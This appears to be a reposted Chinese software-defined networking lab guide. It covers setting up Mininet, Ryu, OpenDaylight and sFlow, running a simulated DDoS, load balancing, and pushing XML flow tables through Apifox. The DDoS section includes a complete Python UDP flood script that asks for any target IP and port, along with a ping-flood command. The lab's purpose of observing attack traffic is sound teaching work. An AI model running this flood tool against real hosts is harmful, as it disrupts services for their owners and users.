1 實驗環(huán)境部署
1.1?mininet安裝
(1)git mininet安裝包:git clone https://github.com/mininet/mininet
(2)打開下載后的源碼:cd mininet
(3)安裝mininet仿真器:PYTHON=python3 util/install.sh -a
(4)運行mininet軟件:./mininet/examples/miniedit.py
1.2 控制器安裝
1.2.1?RYU
(1)git下載ryu源碼:git clone https://github.com/osrg/ryu.git
(2)打開下載的軟件:cd ryu
(3)安裝所需包:sudo pip3 install -r tools/pip-requires
(4)安裝Ryu:sudo python3 setup.py install
(5)啟動ryu控制器(注意openflow的協(xié)議):
cd /ryu/ryu/app
ryu-manager ofctl_rest.py simple_switch_13.py
1.2.2 opendaylight控制器安裝
(1)安裝JDK:sudo apt-get install openjdk-8-jdk
(2)安裝之后需要查看JDK的安裝路徑,以便下一步設置JAVA環(huán)境變量時使用:cd /usr/lib/jvm
(3)配置JAVA環(huán)境變量:sudo vim /etc/environment
(4)配置完成之后重啟系統(tǒng);
(5)git OpenDaylight安裝包:
wget https://nexus.opendaylight.org/content/groups/public/org/opendaylight/integration/distribution-karaf/0.6.4-Carbon/distribution-karaf-0.6.4-Carbon.tar.gz
(6)解壓git下載的源文件:
sudo tar -zxvf distribution-karaf-0.6.4-Carbon.tar.gz
(7)修改配置文件:cd distribution-karaf-0.6.4-Carbon/etc
sudo vim org.apache.karaf.management.cfg
(8)啟動karaf:cd distribution-karaf-0.6.4-Carbon/ebin/
sudo ./karaf
(9)配置可視化界面(安裝feature):
注意,以下命令均是在OpenDayLight的命令行下運行的。
①安裝支持REST API的組件
feature:install odl-restconf
②安裝L2 switch插件
feature:install odl-l2switch-switch-ui
③安裝用戶界面服務
feature:install odl-openflowplugin-flow-services-ui
④安裝API查看器
feature:install odl-mdsal-apidocs
⑤安裝dlux展示頁面
feature:install odl-dluxapps-applications
⑥添加與函數(shù)服務相關的支持和管理功能
feature:install odl-faas-all
(10)啟動OpenDaylight控制器:sudo ./karaf
(11)打開web頁面:http://虛擬IP:8080/index.html登錄OpenDaylight管理界面,登錄的用戶名和密碼均為admim(虛擬機IP通過ip addr命令查看)。
1.3 抓包工具Wireshark安裝
(1)安裝wireshark:sudo apt-get install wireshark
(2)啟動wireshark:sudo wireshark
1.4監(jiān)控軟件sflow?安裝
(1)git sflow源碼:wget http://www.inmon.com/products/sFlow-RT/sflow-rt.tar.gz
(2)解壓sflow-rt安裝包:tar -zxvf sflow-rt.tar.gz
(3)進入sflow-rt:cd sflow-rt
(4)啟動:./start.sh
1.5 配置sFlow Agent
(1)安裝web工具curl:sudo apt-get install curl
(2)配置sFlow Agent:
sudo ovs-vsctl -- -- id=@sflow create sflow agent=s1-eth0 target=\"127.0.0.1:6343\" sampling=10 polling=20 -- -- set bridge s1 sflow=@sflow
上述命令的主要意思如下:
1)agent:監(jiān)控s1-eth0 網(wǎng)卡產(chǎn)生的流量;s1-eth0是為s1創(chuàng)建的端口;
2)target:sFlow-RT的IP,默認端口6343;
3)bridge:需要開啟sFlow的網(wǎng)橋;
4)sampling:采樣率,表示每隔N個Packet就取樣一次
5)polling:輪詢時間,每隔N秒polling一次
(3)查看已經(jīng)配置的sFlow Agent信息:sudo ovs-vsctl list sflow
(4)查看虛擬交換機端口與端口編號的映射:ip link
(5)在web界面查看sFlow Agent是否配置成功:http://127.0.0.1: 8008/html/index.html
(6)啟動sFlow APP,查看流量信息
Sflow-APP:get-app.sh sflow-rt flow-trend
(7)將之前的sFlow重新啟動,點擊sFlow中Apps或者:瀏覽器訪問:http://localhost:8008/app/flow-trend/html/index.html
1.6 流表分析工具Apifox(postman)安裝
(1)安裝包:
(2)軟件安裝:sudo dpkg -i apifox_2.4.5_amd64.deb
(3)雙擊打開apifox軟件;
2 實驗步驟
2.1 實驗所需要的文件包(python語言)
2.2 控制器啟動
1.3 Mininet拓撲下發(fā)
(1)將1.1章節(jié)的包拷貝到虛擬機;https://download.csdn.net/download/m0_48669897/89087133?spm=1001.2014.3001.5503
(2)增加權限:chmod 777 文件包名稱
(3)啟動拓撲:sudo mn --custom MyTopo.py --topo mytopo --controller remote -x --switch ovsk,protocols=OpenFlow13
(4)查看各個節(jié)點及鏈路信息;
(5)pingall
(6)在控制器中查看拓撲是否運行成功;
1.4 打開Sflow流量監(jiān)控軟件
(1)啟動監(jiān)控軟件,下發(fā)對應交換機的配置見4.5章節(jié);
(2)連接到sFlow APP,在Keys列選擇:ipsource,ipdestination,stack,在Value列選擇bytes ,點擊右面的 Submit提交,然后將自動轉到圖形化流量監(jiān)控頁面
1.5 Mininet終端中做如下操作
(1)打開Host1,和Host2的終端: xterm h1 h2
(2)在Host1窗口下啟動http服務:python -m http.server 80&
(3)在Host2窗口下:curl http://Host1:80
(4)在Host2窗口下:ping Host1
(5)在sFlow APP頁面中觀察流量走向;
(6)DDoS模擬攻擊,在mininet終端中執(zhí)行,h2 ping -f h1
(7)在sFlow APP頁面中觀察流量走向;
(8)運行抓包工具,抓取對應網(wǎng)卡的包查看報文信息;
1.6 運行DDOS腳本,模擬攻擊
(1)腳本文件:
(2)運行DDOS腳本,模擬攻擊;
'''
# -*- coding:UTF-8 -*-
#python 3
import sys
import os
import time
import socket
import random
##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
#############
#os.system("clear")
os.system("figlet DDos Attack")
print (" ")
print ("/---------------------------------------------------\ ")
print ("| Author : MineShin |")
print ("| Gitee : https://gitee.com/MineShin |")
print ("| QQ : 548343523 |")
print ("\---------------------------------------------------/")
print (" ")
ip = input("攻擊目標IP: ")
port = int(input("攻擊端口: "))
sd = int(input("攻擊頻率(1~1000): "))
os.system("clear")
print("攻擊正在啟動...")
time.sleep(5)
os.system("clear")
sent = 0
while True:
sock.sendto(bytes, (ip,port))
sent = sent + 1
print ("Sent %s packets to %s port %d"%(sent,ip,port))
time.sleep((1000-sd)/2000)
'''
(3)在sFlow APP頁面中觀察流量走向;
(4)運行抓包工具,抓取對應網(wǎng)卡的包查看報文信息;
1.7 運行負載均衡的代碼,尋找最優(yōu)路徑
(1)開啟三個終端,運行如下腳本:
sudo python3 controllers1.py
sudo python3 controllers2.py
sudo python3 controllers3.py
(2)外部模擬攻擊:
在mininet自帶CLI中運行:h2 python3 traffic.py
(3)通過web頁面查看監(jiān)控信息
(4)運行抓包工具,分析三次握手的原理及流程;
(5)攻擊之后查看結果;
1.8 運行Django文件,查看可視化信息
(1)在sdn_site路徑下運行:sudo python3 manage.py runserver
(2)安裝缺失的庫文件:pip/pip3 install 缺失的庫文件;
(3)訪問127.0.0.1:8000即可查看流量分析界面
(4)通過項目的數(shù)據(jù)分析工具,可以發(fā)現(xiàn),項目流量生成工具發(fā)送的流量被盡力均衡地分配給了四個服務器,但是,由于負載均衡計算以及上傳的延遲,存在一定誤差,在流量更大的情況下,負載均衡效果會更加明顯。
(5)Django后端頁面展示;
(6)前端頁面鏈路信息查看;
1.9 通過Apifox下發(fā)流表信息
1.9.1?在ODL界面查看流表下發(fā)路徑
(1)打開ODL的web頁面,在topology頁面或者nodes頁面中可以查看node信息;
(2)流表下發(fā)配置路徑:Yang?UI>Opendaylight-inventory>config>nodes>table>flow
node/openflow:1?交換機編號
table/0?流表編號
flow/不超過1024,流表項編號
(3)展開flow-list填寫流表下發(fā)信息
flow/不超過1024,不沖突即可 流表項編號
?match fields:它們由入口端口和包頭組成以及以及前一個表指定的元數(shù)據(jù)組成。
?priority:流表項的匹配優(yōu)先級
?countres:更新匹配的數(shù)據(jù)包
?instructions:修改動作集或流水線處理的說明
?timeout:交換機流匹配最大計數(shù)時間和流有效時間
idle_time 匹配流表的最大計數(shù)時間
hard_time 下發(fā)流表后有效時間
?cookie:控制器選擇的不透明數(shù)據(jù)值??刂破骺梢杂脕磉^濾流量統(tǒng)計、流修改和流刪除信息,處理報文時不使用。
(4)請求方式為GET,表單填寫完成后,點擊send發(fā)送;
1.9.2?在Apifox界面下發(fā)流表信息
(此處流表信息已經(jīng)在腳本中寫了,下發(fā)時,http請求為201時即算成功)
(1)首先進入Apifox,利用get操作可以獲得已有的流表:
請求方式1:http://192.168.137.143:8080/restconf/operational/network-topology:network-topology
請求方式2:ODL的web訪問界面;
實驗結果:返回200即可成功,數(shù)據(jù)格式可以自定義;
(2)完成身份認證并解密admin:
請求方式為GET:
Basic Auth頁簽,Username字段填寫admin,Password字段填寫admin完成認證。
(3)PUT請求配置Header文件,完成身份認證(此處配置的格式為XML,認證密碼填寫被HASH解析過的);
(4)填寫B(tài)ody文件:
流表:匹配源MAC(host1)為MAC地址,目的MAC(host2)為MAC的流量,出port為2(端口號在拓撲看)。
“body”中選擇“raw”,格式為XML(application/xml),并填寫如下消息體:
(5)SEND 發(fā)送下發(fā)流表,在mininet下查找流表。
(6)下發(fā)后的流表可以刪除,選擇刪除的請求方式即可刪除;
'''
#流表下發(fā)配置
L2層流表下發(fā)
1.填寫body:流表:匹配源MAC(host1)為########,目的MAC(host2)為########的流量,出端口為???。
“body”中選擇“raw”,格式為XML(application/xml),并填寫如下消息體:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<flow xmlns="urn:opendaylight:flow:inventory">
<priority>200</priority>
<flow-name>Foo1</flow-name>
<idle-timeout>0</idle-timeout>
<hard-timeout>0</hard-timeout>
<match>
<ethernet-match>
<ethernet-source>
<address>MAC-source</address>
</ethernet-source>
<ethernet-destination>
<address>MAC-destination</address>
</ethernet-destination>
</ethernet-match>
</match>
<id>107</id>
<table_id>0</table_id>
<instructions>
<instruction>
<order>0</order>
<apply-actions>
<action>
<order>0</order>
<output-action>
<output-node-connector>出端口</output-node-connector>
</output-action>
</action>
</apply-actions>
</instruction>
</instructions>
</flow>
2.流表:匹配源MAC(host2)為42:30:90:5d:df:02的流量,目的MAC(host1)為7e:24:bb:47:6f:58,出端口為1。
“body”中選擇“raw”,格式為XML(application/xml),并填寫如下消息體:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<flow xmlns="urn:opendaylight:flow:inventory">
<priority>200</priority>
<flow-name>Foo1</flow-name>
<idle-timeout>0</idle-timeout>
<hard-timeout>0</hard-timeout>
<match>
<ethernet-match>
<ethernet-source>
<address>MAC-source</address>
</ethernet-source>
<ethernet-destination>
<address>MAC-destination</address>
</ethernet-destination>
</ethernet-match>
</match>
<id>108</id>
<table_id>0</table_id>
<instructions>
<instruction>
<order>0</order>
<apply-actions>
<action>
<order>0</order>
<output-action>
<output-node-connector>1</output-node-connector>
</output-action>
</action>
</apply-actions>
</instruction>
</instructions>
</flow>
L3層流表下發(fā)
L3層對應OSI模型的三層,三層流表主要匹配的是IP包的協(xié)議類型和IP地址。
“body”中選擇“raw”,格式為XML(application/xml)
流表:匹配源IP地址為IP-source/mask的報文,并將其轉發(fā)到X端口
匹配源IP地址為IP-source/mask的報文,并將其轉發(fā)到X端口。
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<flow xmlns="urn:opendaylight:flow:inventory">
<priority>200</priority>
<flow-name>Foo1</flow-name>
<idle-timeout>0</idle-timeout>
<hard-timeout>0</hard-timeout>
<match>
<ethernet-match>
<ethernet-type>
<type>2048</type>
</ethernet-type>
</ethernet-match>
<ipv4-source>IP-source/mask</ipv4-source>
</match>
<id>111</id>
<table_id>0</table_id>
<instructions>
<instruction>
<order>0</order>
<apply-actions>
<action>
<order>0</order>
<output-action>
<output-node-connector>2</output-node-connector>
</output-action>
</action>
</apply-actions>
</instruction>
</instructions>
</flow>
“body”中選擇“raw”,格式為XML(application/xml)
流表:下發(fā)arp匹配流表
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<flow xmlns="urn:opendaylight:flow:inventory">
<priority>200</priority>
<flow-name>Foo1</flow-name>
<idle-timeout>0</idle-timeout>
<hard-timeout>0</hard-timeout>
<match>
<ethernet-match>
<ethernet-type>
<type>2054</type>
</ethernet-type>
</ethernet-match>
</match>
<id>113</id>
<table_id>0</table_id>
<instructions>
<instruction>
<order>0</order>
<apply-actions>
<action>
<order>0</order>
<output-action>
<output-node-connector>NORMAL</output-node-connector>
<max-length>0</max-length>
</output-action>
</action>
</apply-actions>
</instruction>
</instructions>
</flow>
L4層流表下發(fā)
L4對應的OSI模型中的四層,即流表對應的TCP/UDP源端口(TCP/UDP src port)、TCP/UDP目的端口號(TCP/UDP dst port)字段。本實驗匹配TCP目的端口
“body”中選擇“raw”,格式為XML(application/xml)
匹配到目的IP地址為ipv4-destination/mask且目的端口為5001的TCP報文,將其轉發(fā)到2端口
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<flow xmlns="urn:opendaylight:flow:inventory">
<priority>200</priority>
<flow-name>Foo1</flow-name>
<idle-timeout>0</idle-timeout>
<hard-timeout>0</hard-timeout>
<match>
<tcp-destination-port>5001</tcp-destination-port>
<ethernet-match>
<ethernet-type>
<type>2048</type>
</ethernet-type>
</ethernet-match>
<ipv4-destination>ipv4-destination/mask</ipv4-destination>
<ip-match>
<ip-protocol>6</ip-protocol>
</ip-match>
</match>
<id>117</id>
<table_id>0</table_id>
<instructions>
<instruction>
<order>0</order>
<apply-actions>
<action>
<order>0</order>
<output-action>
<output-node-connector>2</output-node-connector>
</output-action>
</action>
</apply-actions>
</instruction>
</instructions>
</flow>
“body”中選擇“raw”,格式為XML(application/xml)
流表:下發(fā)arp匹配流表。
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<flow xmlns="urn:opendaylight:flow:inventory">
<priority>200</priority>
<flow-name>Foo1</flow-name>
<idle-timeout>0</idle-timeout>
<hard-timeout>0</hard-timeout>
<match>
<ethernet-match>
<ethernet-type>
<type>2054</type>
</ethernet-type>
</ethernet-match>
</match>
<id>119</id>
<table_id>0</table_id>
<instructions>
<instruction>
<order>0</order>
<apply-actions>
<action>
<order>0</order>
<output-action>
<output-node-connector>FLOOD</output-node-connector>
<max-length>0</max-length>
</output-action>
</action>
</apply-actions>
</instruction>
</instructions>
</flow>
'''
文章來源:http://www.zghlxwxcb.cn/news/detail-846449.html
文章來源地址http://www.zghlxwxcb.cn/news/detail-846449.html
到了這里,關于錦城軟件定義網(wǎng)絡實驗(DDOS攻擊-負載均衡-可視化分析實驗)的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網(wǎng)!